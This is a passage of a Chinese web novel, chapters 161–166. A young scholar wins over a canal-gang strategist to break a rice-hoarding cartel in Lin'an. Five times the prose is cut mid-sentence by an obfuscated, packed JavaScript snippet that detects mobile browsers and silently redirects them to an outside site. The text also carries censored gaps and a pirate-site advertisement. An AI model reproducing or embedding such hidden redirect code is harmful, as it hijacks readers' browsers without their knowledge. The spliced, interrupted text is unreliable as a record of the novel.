想说服他,无异于痴人说梦。 “琢之,要不我们还是换个路子?” 陆恒试探着开口:“漕帮大当家赵天南,贪财好色,并非无懈可击。我打听到,他在城南养了一房外室,视若珍宝……” “不必。” 卢璘转过身,摇了摇头: “子毅,你觉得,这世上什么样的人,最恨为富不仁的贪官污吏,最恨囤积居奇的奸商豪绅?” 陆恒一愣,不明白卢璘为何突然问这个。 他想了想,回答道:“自然是被他们欺压的寻常百姓。” “不对。” “是曾经想成为他们,却没有成功的人。” 陆恒的脑子飞速转动,咀嚼着卢璘这句话。 曾经想成为他们,却没有成功…… 这说的不就是胡一刀吗? 一个屡试不第,进不了官场的读书人。 一个想经商,却没有本钱,只能给黑道当师爷的聪明人。 这种人,对官僚和富商的恨,远比普通百姓要来的更加刻骨,更加猛烈。 那份恨里,掺杂了嫉妒和不甘。 “所以这就是琢之说的心里有火的人吗?” 陆恒瞬间明白了卢璘的思路。 “琢之,你的意思是胡一刀,可以为我们所用?” 卢璘纠正道:“不是用,是合作。” “他有他的诉求,我们有我们的目的。只要能找到共同的利益,这生意,就能谈。” 卢璘说着,从一旁的书案上,拿起一张刚刚写好的拜帖。 “明日,你再去一趟。” “把这个,亲手交到胡一刀手上。” 陆恒接过拜帖,低头一看,只见拜帖的封皮上,龙飞凤舞地写着八个大字。 “**放火金腰带。” “修桥补路无尸骸。” 陆恒的眉头一跳。 “我……我这就去安排!” 陆恒再无半分犹豫,拿着拜帖,转身便快步离去,脸上满是亢奋。 第162章 聚丰楼 与此同时 聚丰楼,这是临安府内第一大酒楼,临江而建。 三楼的雅间内,推开窗,便能将漕帮码头的景象尽收眼底。 江上大船林立,光着膀子的苦力号子声不绝。 雅间内,四人围着一张巨大圆桌而坐。 桌上摆满了山珍海味,旁边侍立的俏丽侍女,个个身段妖娆。 这四人,正是如今搅动临安府风云的四大米行东家。 丰裕号的周炳,德昌隆的常万金,永盛和的齐老拐,以及广源泰的苏十三娘。 周炳目光从窗外的漕帮码头收回,嘴角挂着嗤笑。 “刚得的信儿,那个什么‘江南案首’卢璘,昨儿个可是吃了大大的闭门羹!” 说着,伸出手,在身旁一位美艳侍女浑圆翘臀上狠狠抓了一把,引得那侍女一声娇呼。 周炳却咂了咂嘴,愈发得意: “递了帖子想见胡一刀,结果呢?连漕帮的门槛都没迈进去,就被几个下人给打了出来!” “还成立了什么破自强社,都快发展上百号人了,连个自强社都管理不好,已经快成筛子了。” “也不想想,这临安府城内,有我不知道的消息吗?” 这事才过去不到一天,周炳便已然知晓自强社的动作。 坐在他对面,一个大腹便便的秃顶胖子闻言,拍着桌子大笑,手上戴着的八枚各色宝石戒指,晃得人眼花。 此人是德昌隆东家常万金。 才笑了一会,常万金就满头大汗了,从怀里掏出一方汗巾,擦了擦脑门,开口道:“哈哈!有趣,这卢案首名动京都,怎么这般没有脑子?” “人再多有什么用,还能比漕帮人多啊?” “用他们读书人的话怎么说来着?” 常万金转头,目光瞥向了身旁一个眯缝着眼的老头。 永盛和的东家齐老拐闻言,阴恻恻一笑:“盛名之下其实难副!” 常万金愈发来劲,笑得脸上肥肉乱颤: “他当胡二当家是什么人?一个手无缚鸡之力的酸秀才,也配跟江湖中人谈买卖?” “他就不怕,**二当家一时兴起,捆了石头沉进江里喂鱼吗?” “胡二当家又不是没干过这种事 。 齐老拐还是一副似睡非睡的模样,笑着接过话茬: “当年胡二当家屡试不第,在酒楼里喝闷酒,不过是同乡的一个师爷多嘴嘲讽了他两句。他当场就拔了刀,把人一刀给剁了。 “这等人,靠圣贤道理是填不饱肚子的。 “读书人?呵! 一声轻笑传来,一直沉默的广源泰的东家苏十三娘开口了。 “我说几位爷,怎么尽关注一个不相干的秀才? 苏十三娘约莫三十岁年纪,梳着当下最时兴的髻子,头上斜插一根赤金步摇。 虽已年过三十,但保养得宜,身段风韵,脸蛋娇媚。 “什么江南道案首,名头叫得再响,说破了天,不也就是个穷秀才。咱们还是议一议,下一轮的米价,该怎么涨吧? 常万金一听这话,立刻来了精神。 “对对对!十三娘说的是! “明日,我城北那家铺子,再放些陈米出来。这一轮风声过去,我估摸着,价格至少能涨到九两银子一石! 说着,常万金双眼放光,声音略带兴奋。 “再等个半月,待城外那群灾民饿得差不多了,咱们账上的利润,至少能再添两百万两! 两百万两! 一直没怎么开口的周炳闻言,也把手从侍女的身上挪开了。 他伸出两根手指,在桌面上轻轻敲击着。 整个雅间的气氛,瞬间一肃。 周炳的脸上没了轻浮,声音沉了下来。 “我不管粮价涨到多少,按之前的约定。 “这次的利润,我丰裕号,占四成。剩下的,你们三家自己去分。 周炳环视一圈,眼神中毫不掩饰地警告。 “还有,最好别在背后搞什么小动作。我知道你们背后都站着谁,但在这临安府的一亩三分地上,是龙你的盘着,是虎你的卧着。 “不信的,可以来试试。 话里话外的阴狠,让常万金和齐老拐脸上的笑容都僵住了。 苏十三娘依旧脸上挂着笑, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16453212|185271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没有接话。 周炳冷哼一声,站起身,揽过身旁的侍女,径直推门离去。 包间的门被关上。 雅间内,只剩 下三人。 常万金齐老拐苏十三娘三人互相对视了一眼。 各有各的心思不过谁也没有先开口。 常万金靠在窗边直到看见周炳揽着侍女大摇大摆地上了马车消失在街角。 他才转过身朝着地上狠狠唾了一口: “呸!什么狗东西!” “真当自己是个人物了?狗仗人势的玩意儿!要不是背后有人凭他也配跟咱们坐一桌?” 肥胖的脸上没了刚才的笑意只剩下愤恨。 苏十三娘闻言仍旧是笑脸盈盈的样子慢悠悠的开口说道: “那怎么办呢?谁让人家命好有个好姐姐搭上了知府大人这条大船。” “周少拿四成我是同意的没有知府大人点头封锁住临安府的米贴咱们这生意根本就做不起来。” “这一份利就当是孝敬知府大人的咯。” 苏十三娘一番话说得轻描淡写却也有自己的计较。 老话说面带猪相心头嘹亮。 常万金就是这种类型。 心里打的什么主意苏十三娘一清二楚。 无非是想挑拨自己跟周炳对着干他好坐收渔翁之利。 米贴乃是官府发放的售粮凭证也是这行当里最高的门槛。 没有官府点头卡死米贴的发放城里冒出十家八家新米行到处都是平价米他们还怎么囤积居奇操纵米价? 就算最后能成利润被瓜分得七七八八分到手里的又能有多少? 常万金见苏十三娘不接腔不服气地梗着脖子。 “照这么说那漕帮的胡一刀要不是有我家大人出面打点他能这么听话?临安府周边的米粮能一粒都运不进来?” “这生意缺了哪一环都玩不转!凭什么他周炳能拿四成我就不能?” 苏十三娘又笑了笑得媚眼如丝 “常掌柜这话你可别跟我说呀。” “你们谁拿四成都行只要你有本事你跟周少说去。” “……” 第163章 铁索横江 常万金闻言,准备叫嚣的气焰戛然而止。 让他去找周炳? 自己还没那个实力。 他背后那位大人虽然在军中有些权势,可终究是强龙难压地头蛇。 在这临安府,手握一府民生大权的知府,才是真正的土皇帝。 雅间里,气氛再次变得尴尬。 一直眯着眼打盹的齐老拐,此刻终于睁开了眼,慢悠悠地端起茶杯,呷了一口,沙哑着嗓子开口。 “和气生财,和气生财嘛。” “事情还没成,银子还没落袋,咱们自己人可不能先内讧了。” 说完,放下茶杯,拄着拐杖颤颤巍巍地站起身。 “今天先这样吧,我家里还有点事,就先回去了。有什么事,你们再找我。” 说着,便朝门口走去。 苏十三娘瞥了一眼,也没阻拦,笑着打趣道: “哎,齐掌柜,这家里的小事,还用得着你操心啊?” “不就是儿子娶亲吗?家里那位这点事不能操办啊? 正走到门口的齐老拐闻言,缓缓转过身,布满褶子的老脸舒展开来,露出一个难看的笑容。 “毕竟对方是陆家嘛,我回去盯得仔细点,总没错。” 苏十三年闻言,捂嘴轻笑: “就属你齐老拐藏得最深,不声不响地都和陆家搭上关系了” “到时候,这桩生意一成,您老可是双喜临门呐!” “呵呵.借十三娘吉言。” 说完,拉开门,头也不回地走了。 与此同时,距离聚丰楼不远处的漕运码头处。 铁索横江,江水被三艘楼船截断。 船身漆黑,船头高耸,分别用白漆刷着三个大字。 “镇江”。 “锁浪”。 “铁鲨”。 紧贴着码头,一座青砖碉楼拔地而起,楼顶一面黑旗迎风招展,旗上一个斗大的“漕”字,杀气腾腾。 这里是黑水堂,漕帮在临安府的驻地,也是胡一刀平日待得最多的地方。 堂内,正中铺着一张完整的猛虎皮,虎头狰狞,栩栩如生,霸气尽显。 可坐在虎皮椅上的人,却与这满屋的江湖气格格不入。 胡一刀生得一副文质彬彬的模样,甚至称得上秀气斯文。 穿着一身剪裁合体的锦袍,手指修长干净,正半眯着眼,闭目养神。 若非身处此地,任谁都会将他当成某个大户人家的先生。 身旁,一名身段妖娆的婢女俏立于旁,轻声念着书。 “……故王者仰关讥而不征,泽梁不禁,通商旅,懋迁有无,**不困……” 声音娇柔婉转,煞是好听。 就在这时,一名壮汉快步从堂外走了进来,躬身禀报。 “二当家,自强社那伙人又来了。” 胡一刀眼皮都未抬一下。 过了许久,才缓缓睁开眼,眼中凶光一闪而逝,快得让人以为是错觉。 没有理会手下,反而转头,对着身旁的婢女轻笑一声。 “你说,是不是都觉得我胡一刀瞧着像泥捏的?” 婢女闻言,娇笑一声,身子软软地贴了过去,柔声细语地奉承道: “二当家的威名,这临安府谁人不知,哪个不晓?想是那群酸秀才从外地来的,不知天高地厚,冲撞了二当家。” 话音刚落。 胡一刀原本带笑的脸,瞬间阴沉下来。 他盯着近在咫尺的俏丽脸蛋,声音冷了下来: “我让你念书,不是让你卖弄风骚。” “我之前是不是说过,一个字都不许念错?” 婢女闻言,脸上媚笑瞬间僵住了,身子一抖,连忙跪倒在地。 “奴……奴婢知错!” 胡一刀冷笑一声:“知错?“你错在哪了?” “《盐铁论·复古》篇,贤良曰:‘夫导民以德,**归厚。’你方才念的是‘夫导民以德,**归后’。一字之差,谬以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16453213|185271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 千里。” “还有,‘周营洛邑,以为天下之大中’,你将‘大中’念成了‘大重’。” “我让你念书,是让你用心去念。一字之差,谬以千里。你这蠢货,也配念书?” 胡一刀声音平淡,可每一个字,都让婢女的身体抖得如同筛糠。 “二当家饶命!奴婢再也不敢了!奴婢再也不敢了!” 婢女吓得当场魂飞魄散,止不住地磕头,自己刚刚犯了会瞌睡,才念错了几个字。 本以为可以蒙混过去没想到这么一点小错误还能被二当家察觉。 胡一刀面不改色对手下挥了挥手。 “拖下去。” “舌头割了手脚打断。” 手下闻言点头看着地上哭得梨花带雨的妖娆身段心里暗道一声可惜。 这等尤物就这么废了。 赏赐给自己多好啊! 不过他不敢有半分迟疑立刻招了招手门外冲进来两个汉子架起还在苦苦哀求的婢女就往外拖。 很快惨叫声从门外传来。 一炷香后手下进来汇报:“二当家 胡一刀闻言眼皮子都没抬转身坐回了虎皮大椅上。 手下这才敢再次开口脸上带着一股狠厉: “二当家要不我带人去把那几个秀才的手给剁了看他们还敢不敢来烦您!” “又是那个什么卢案首?” 手下**一刀这不咸不淡的一问吓得额头冒汗连忙点头。 “是是的。” “这次报信的人这次还带了封信。” 说着从怀里掏出一封信双手高高举过头顶。 胡一刀眼中厉色一闪刚准备开口目光落在信封上两行狂放不羁的字上。 “**放火金腰带。” “修桥补路无尸骸。” 话到嘴边硬生生地停住了。 取过信后挥手让手下退了出去。 偌大的厅堂只剩下胡一刀一人。 过了许久才拆开了信封。 第164章 眼底有火! 胡一刀拆开信封。 映入眼帘的,却不是寻常问候语。 而是一首诗。 一首杀气腾腾的诗。 字迹锋锐,如刀似剑,带着一股冲天的狂气。 《不第后赋菊》 只看到诗名。 胡一刀半眯着的眼,倏然睁开。 一股几乎被他遗忘在骨髓深处的**与不甘,伴随着滔天的杀意,从胡一刀眼中闪过! 不第吗? 这是专程写信来接我的伤疤? 胡一刀脑海中,闪过一些片段。 许多年前,皇榜之下,看着那一个个陌生的名字,却唯独没有自己的。 天之骄子,一朝跌落尘埃。 身边是同乡的嘲讽,是昔日同窗的怜悯,是家族的失望。 那一刻,他也想**。 杀尽天下所有在其位不谋其政的庸官,杀尽所有窃取了自己功名的鼠辈! 胡一刀的手指,下意识地收紧。 目光,继续往下。 “待到秋来九月八,我花开后百花杀。” “冲天香阵透长安,满城尽带黄金甲。” 胡一刀愣住了,大脑一片空白。 眼睛死死地盯着最后一句“冲天香阵透长安,满城尽带黄金甲。” 这是何等的霸气,何等的野心! 这岂是一个读书人该写出的诗? 他懂我,懂我那时候的感受,懂我的滔天恨意。 一瞬间,胡一刀对素未蒙面的卢璘,有种引为知交的感觉。 能写出这等诗句的人,胸中必然也藏着一团火,一团足以焚尽天下的火! 可转念一想。 不对。 卢璘,江南道案首,从未落第过,从未尝过自己当年那种被人踩在泥里,万念俱灰的滋味。 一个春风得意马蹄疾的案首,怎么会写出这等杀气腾腾,怨气冲霄的诗句? 胡一刀来不及多想,目光继续下移。 诗的下面,是正文。 “胡二当家可知,漕帮之于官府,犹如夜壶。” “需时取出,不用则嫌其臭,弃于床底。此次临安粮价风波,四大米行吃肉,知府衙门喝汤,漕帮呢?不过是分些残羹冷炙,却要 担上与民争利为虎作伥的骂名。” “待风波平息官府为平民愤第一个要开刀的是谁?是知府的小舅子?还是四大米行背后那些盘根错节的士绅大族?” “不只会是漕帮。” “届时一纸公文一道军令尔等便是‘勾结奸商祸乱市场’的匪徒。朝廷正好借此由头将漕帮连根拔起既得了名又得了利一举两得。” 看到这里胡一刀对卢璘刚刚升起的那点好感荡然无存。 摇了摇头冷哼了一声。 他岂能不知漕帮的处境? 可漕帮上下数万兄弟每天睁开眼就是几万张要吃饭的嘴。 他不和官府合作又能怎么办? 赵天南那个蠢货只看得到眼前的金银只想着城南的外室。 他看不到漕帮这条船早已千疮百孔随时可能被官府这股巨浪拍得粉身碎骨。 卢璘虽然才华横溢可终究还是太年轻了。 以为点破了这层窗户纸自己就会答应和他合作? 真是可笑。 没有看到大局说的都是空话。 冷笑过后胡一刀继续往下看。 “学生不才已上书恩师。不日将有三十万石常平仓米粮由常州府起运水路直抵临安。” “届时米价必将雪崩。” “四大米行囤积的粮食将尽数砸在手里。” “粮价一崩漕帮首当其冲。” “二当家此时若能弃暗投明截断四大米行从外地私运粮食的渠道.” 胡一刀看到这里嘴角的冷笑愈浓了。 这等小孩子的把戏也想来骗我? 常州府的常平仓是什么地方? 那是江南道的粮仓重地没有兵部和户部的联合勘合谁能调动一粒米? 他卢璘一个秀才就算有点人脉也不可能有这么大的能量。 这是在诈自己想吓唬自己呢。 胡一刀将信纸往桌上一扔 这个卢璘有点小聪明才华横溢但终究是纸上谈兵的酸儒。 胡一刀摇了摇头正准备将这封荒唐的信烧了。 可目光一瞥却发现信纸的背面还 有一大段字。 顿了一下,还是拿起了信纸,翻了过来。 只一眼,胡一刀瞳孔骤缩。 “一,为胡氏一族脱去漕籍,入籍良民,三代之内,皆可参加科举。” “二,将漕帮改组,挂靠转运使司,成立‘江南道特约漕运商行’,专司官盐、官茶等大宗货物的押运.” “若事成,每年预计收入白银五十万两.” 脱去漕籍,入籍良民,参加科举,白银五十万两. 胡一刀眼神就没挪开过,紧紧盯着这几个字。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16453214|185271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 胡家自他后,三代都是贱籍,连参加科举的资格都没有。 他当年也是冒着杀头的风险,顶替了一个病死同窗的身份,才走进了考场。 落第之后,身份败露,被官府通缉,这才亡命天涯,入了漕帮。 洗白身份,让子孙后代能堂堂正正地读书,堂堂正正地做人,这几乎成了胡一刀的执念! 还有,漕帮改组,成为吃皇粮的官商! 这意味着什么? 意味着再也不用看官府的脸色,再也不用做肮脏的夜壶! 意味着漕帮数万兄弟,都能挺直了腰杆,光明正大地赚钱! 每年五十万两! 这笔钱,比他们现在打打杀杀,走私贩盐,一年到头累死累活,赚的还要多得多! 而且,是干净的钱! 胡一刀深吸了口气,努力让自己冷静下来。 不得不承认,卢璘的话狠狠地切中了自己的要害。 但胡一刀什么人,怎么可能仅凭几句话,就相信了卢璘有能力能做到这些。 脱籍怎么脱?得罪了官府,还想脱籍? 漕帮改组,又怎么改?几万人的漕帮说改组就改组?哪有这般轻巧。 又怎么吃上皇粮? 不是一两句话就能实现的。 想到这些,胡一刀心里满是烦闷,起身背着手在屋内来回踱步,黑靴踏在地板上,发出沉闷的声响。 可每走两步,目光却又不自觉地落回那封信上。 “**……”胡一刀重重吐了口气,胸口像是被什么东西堵住了,密密麻麻地发闷。 理智一遍遍提醒自己,天底下没有白吃的饭!卢璘必有所图! 这小子或许只是想借漕帮的刀,去砍四大米行,砍完就是卸磨杀驴! 可万一呢! 万一这小子真有办法呢? 良久,胡一刀才重新坐回太师椅上。 目光直直地望向了对面墙上。 墙上,挂着一幅巨大的《江山**图》。 “天下英雄,当真如过江之鲫啊……” 胡一刀发出一声长叹,不得不说,卢璘抛出的钩子实实在在地打动了自己。 胡一刀深吸口气,脸色重归平静,又恢复了那副文质彬彬的模样,只是眼底,有火在燃烧。 对着门外喊道: “来人!” 一名壮汉快步走了进来,躬身候命。 “去安排一下,今晚,我要在聚丰楼,亲自见一见这位卢案首。” 第165章 横生波折 黑水堂外,江风拂面。 陆恒在门外来回踱步,眼神时不时瞥向黑水堂紧闭的大门。 “也不知这次胡二当家能不能答应见面.” “漕帮可是琢之计划中最关键的一环。” 忽然一阵脚步声传来,大门开了。 方才进去送信的漕帮汉子大踏步走出,声如洪钟:“胡二当家有令,今夜聚丰楼天字厢,请卢案首一叙!” “多谢兄弟传话。“陆恒强忍着激动抱拳。 成了! 琢之当真神了! 一句“**放火金腰带”,一句“修桥补路无尸骸”,竟真的就撬动了胡一刀这块铁板。 这可是胡一刀!一个最是痛恨读书人的前读书人! 陆恒心中激荡,脚下生风,翻身上马,朝半亩园方向离去。 马蹄声哒哒,穿过长街的同时,陆恒脑子里反复回想着卢璘的计策,越想越是心惊。 釜底抽薪,**造势,引蛇出洞.环环相扣,步步为营。 琢之这等手段,哪里像是一个初出茅庐的秀才? 分明是浸淫官场多年的老吏啊! 满腔振奋的陆恒推开了半亩园的院门。 可刚一踏入,刚想分享的好消息硬生生地堵在口中。 院内,黄观、张胜,还有几位自强社的骨干成员,一个个脸色阴沉,或坐或站,谁也不说话。 卢璘也背对着众人,一动不动地站在舆图前。 出事了。 陆恒的心猛地一沉,快步走了过去。 “怎么了?出什么事了?” 脾气最火爆的张胜猛地一拍石桌,牙齿咬得咯咯作响,恨声道:“李贺出事了,在德昌隆被人打成了重伤!” “咱们自强社出叛徒了啊!” 最后几个字,张胜几乎是挤出来的。 陆恒脑子嗡的一声,整个人都懵了。 “叛徒?这怎么可能!大家都是志同道合,怎么会.” 陆恒不敢相信,转头看向黄观,黄观缓缓抬起头,脸上满是疲惫自责,重重地叹了口气: “我也希望不是真的。” 而后黄观将事情的经过简略说了一遍。 今天一早,按照卢璘计划,几名社员假 扮成被**逼得走投无路的债主,准备去几家米行门口哭闹。 目的是煽动那些同样放贷给米行的钱庄,制造恐慌,引发挤兑。 可没想到,人刚到米行门口,还没开口,就被一群早就埋伏好的打手给围了。 对方指名道姓,直接拆穿了他们的身份,二话不说便是一顿毒打。 若不是巡街的官差路过,那几名社员恐怕要**都说不定。 “他们早就知道了我们的计划!早就设好了套,等着我们往里钻! 黄观声音有些压抑:“若不是有内奸泄密,他们如何能准备得如此周全! 说完,站起身,对着卢璘的背影,深深地躬下身子。 “琢之,此次责任在我。你力荐我担任社首,我却没有管好自强社,识人不明,没有仔细审核入社的成员,才酿成今日之祸。 陆恒看着黄观的举动,再看看一言不发的卢璘,心里咯噔一下。 琢之该不会真的动了要换掉黄观的心思吧? 这可不太好! 自强社初创,人心不稳,黄观做事沉稳,劳苦功高,若是此刻被撤换,社里必然人心涣散。 他急忙上前一步,帮着说情:“琢之,此事不能全怪景明。自强社在短时间内,从十几人发展到上百人,鱼龙混杂,有些问题在所难免。 “景明做事一向有条有理,为人沉稳,若不是他,自强社也撑不起这么大的摊子。而且……三年轮值之期未到,此时换人,恐怕不妥…… 小说全网首发无弹窗免费阅读caixs.com?(请来才 小说 看最新章节 完整章节) 话音未落,一直沉默的卢璘,忽然转过身来。 脸上没有众人预想中的怒气或失望,反而带着一丝笑意。 “你们想到哪里去了? “谁说要换了景明? 说完,卢璘走到黄观面前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16453215|185271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,将黄观稳稳扶起,结结实实地在黄观肩膀上拍了几下。 “自强社能有今日,景明你居功至伟。这些日子,若不是你帮我分担了诸多杂务,我们的计划,根本不可能推行得如此顺利。 有内奸,卢璘一点都不意外。 自强社急速扩张,上百号生员,来自**,各有各的心思,怎么可能人人都一条心。 队伍大了,人心不齐,再正常不过。 这也是他 为什么想借着这次粮价风波锻炼出一支真正信得过拉得出打得响的核心队伍。 大浪淘沙留下的才是金子。 方才之所以沉默并非在考虑换掉黄观而是在思索如何将这个内奸的作用发挥到最大。 如今心中已然有了答案。 听到卢璘的话黄观、陆恒和张胜等人都长长地松了口气。 张胜挠了挠头有些不好意思地开口:“我还以为.看琢之你刚才一言不发还以为你真要换了景明呢。” “在想别的事情。” 卢璘没有过多解释将话题拉了回来转头看向陆恒: “胡一刀那边怎么回复?” 陆恒这才猛地想起自己回来的目的方才的压抑一扫而空满是振奋。 “成了!琢之!胡一刀答应了!” “今晚聚丰楼!” 此言一出 “真的?胡一刀竟然肯出面了?” “太好了!只要能搞定漕帮咱们的计划就成了一半!” 众人激动不已唯有卢璘淡定点头若有所思。 兴奋过后黄观冷静下来又把话题拉回到内奸上。 “琢之那内奸一事.我们该如何处置?要不要把他揪出来?” 卢璘闻言笑了笑: “一切如常。” 黄观、张胜闻言满是疑惑陆恒更是刚准备开口追问就听到卢璘转头对黄观说: “景明你去把社里所有人都召集到半亩园来我有事要宣布。” 黄观虽不明白卢璘葫芦里卖的什么药但见琢之胸有成竹气定神闲的模样便不再多问点头应下转身去安排了。 第166章 平抑粮价的关键。 半个时辰后,半亩园内。 上百名自强社的生员,黑压压地**在院中,将不大的院子挤得水泄不通。 大多数生员都已经听说了李贺在德昌隆门口被打成重伤的事。 此刻正三三两两地聚在一起,低声议论,年轻的生员们一个个脸上满是愤慨。 “李兄真是太惨了,腿骨都差点被人打断了!” “肯定是有人走漏了消息.” “这还用说?不是出了内奸,计划怎么会泄露得这么快!” “要不我等告官去吧?” “告官?你疯了!**结,你去告官,不是自投罗网吗?” “那怎么办?就这么算了?李兄的打白挨了?” 院内嗡嗡的议论声中,既有怒火,也有迷茫。 李贺昨天还好生生地和他们在一起,今天就生死不知. 黄观站在人群前方,看着一张张或激愤或颓丧的脸,心中也是五味杂陈。 清了清嗓子,高声喊道: “诸位静一静!琢之有要事要向大家宣布!” 园内的嘈杂声渐渐平息,齐刷刷地看向了站在黄观身侧的卢璘。 都以为卢璘要说的,就是内奸的事。 一个个屏息凝神,脸色沉重。 然而,卢璘一开口,却让所有人都愣住了。 只见卢璘脸上没有半分阴霾,反而带着笑意。 “诸位同窗,给大家说个好消息。” “我已致信恩师,拜托他老人家从常州府,为我们调集三十万石平价粮。” “不日,便会有消息传来。” 三十万石! 人群先是寂静一瞬,而后立马炸开了锅! “三十万石粮?” “我没听错吧!是沈大学士出手了?” “沈大学士致仕前可是礼部尚书,门生故吏遍布江南,调区区三十万石粮,肯定不在话下!” “三十万石粮食入城,那粮价岂不是顷刻间就能被打下去!” 兴奋的议论声中,很快便有理智的声音响起。 “有粮又如何?你们忘了漕帮那群亡命徒了?他们铁索横江,连朝廷的赈灾粮都运不进来,咱们这三十万石粮,难道能飞进城里不成?” 此言一出,方才还激动万分的众人,瞬间又冷静了下来。 是啊。 所有人都知道卢璘的恩师是沈春芳,也相信以沈公在朝中盘根错节的关系,调动三十万石粮食并非难事。 可漕帮那一关过不去,光有粮食,又有什么用? 就在众人再次陷入忧虑之时,陆恒从人群中挤了出来,脸上满是激动,高声响应: “还是琢之有办法!三十万石粮食的消息一旦放出去,那四大米行必然军心大乱,这粮价,必崩无疑!” 人群中立刻有生员反问:“陆兄,漕帮不松口,粮食进不来,消息放出去又有什么用?不过是虚张声势罢了。” 陆恒闻言,脸上笑意更浓,不急不缓地解释道:“诸位有所不知吧?就在刚才,漕帮已经派人传话了。” “漕帮胡二当家,已经答应与琢之当面一叙!” 说完,他从怀中掏出一张帖子,高高举起,展示给众人看。 帖子上,漕帮黑水堂的印记,清晰可见! 这一下,人群彻底沸腾了,生员们一个个睁大眼睛望向卢璘,想从卢璘口中得到确切答案。 卢璘轻笑一声,点头,甚至把和胡一刀见面的时间地点都直接说了出来。 “今晚聚丰楼,天字号包厢” 黄观此时也反应了过来,隐隐猜到了琢之的想法,立刻上前一步,高声附和: “没错!胡二当家已经答应放粮进城!大体上已经谈妥了,今晚琢之与他相见,不过是商议一些具体细节罢了!” 卢璘含笑看了一眼身旁的黄观与陆恒,三人迅速交换了一下眼神。 景明和朗行,确实不错,值得培养。 这么快就领会了自己的意图,倒是省了自己一番口舌。 有了他们二人的配合,这出戏,才唱得更容易。 “连胡一刀都能搞定?” “那可是胡一刀啊!听说此人最是痛恨我们读书人,没想到琢之连他都能说服!” “太好了!这下临安府的百姓有救了!” “还是卢案首有办法!运筹帷幄,决胜千里!” 众人闻言,议论声比方才更加激烈,看向卢璘的表情,充满了敬畏狂热。 漕帮这块骨头啃 下去了,粮价必崩无疑。 现在,就等常州府的粮食运到了! 嘈杂的人群中,一名相貌平平的生员,默默地低下了头,眼中闪过一丝不易察的思索。 卢璘将众人的反应尽收眼底,待欢呼声稍稍平息,拍了拍手,继续 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16453216|185271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开口: “诸位,我们还有更重要的事情要做。” “一旦米价回落,城外积压的数十万灾民必然会想尽办法涌入城中。到时候,如何安置,如何放粮,如何施药,都需要大量的人手。” 说着,转头看向黄观,郑重地叮嘱道:“景明,此事便交由你来总负责。务必提前做好规划,将社员分组,明确职责,确保粮食一到,我们的人就能立刻跟上,不能出半点乱子。” 而后,又转向陆恒: “朗行,你晚上陪我走一趟聚丰楼。” 一众自强社生员们得知消息后,陆续离去。 半亩园内很快便恢复了寂静。 院内,只剩下黄观、陆恒、张胜等寥寥几人。 方才还激动和振奋的几人,随着人潮散去,渐渐冷却下来,脸色逐渐凝重。 张胜挠了挠头,看着一言不发的卢璘,终究是没忍住,率先开口:“琢之,你刚才说的那些,都是真的?沈大学士真能调来三十万石粮食?” 陆恒和黄观也齐齐看向卢璘。 卢璘转过身,脸上没了方才在众人面前的笑意,平静地摇了摇头。 “假的。” “啊?” 张胜当场就懵了。 黄观和陆恒对视一眼,脸上却露出了然之色。 卢璘却丝毫不意外,笑着反问几人:“之前不是告诉过你们吗?有没有粮食不是平抑粮价的关键,关键是要打破四大米行的预期,让他们知道有粮食就成了!” 黄观,陆恒几人点头,但还是满头雾水。 虽然知道卢璘一直强调粮食不是关键,粮食不是关键。 可他们怎么也理解不了,什么叫打破市场预期,什么叫制造**之类的。 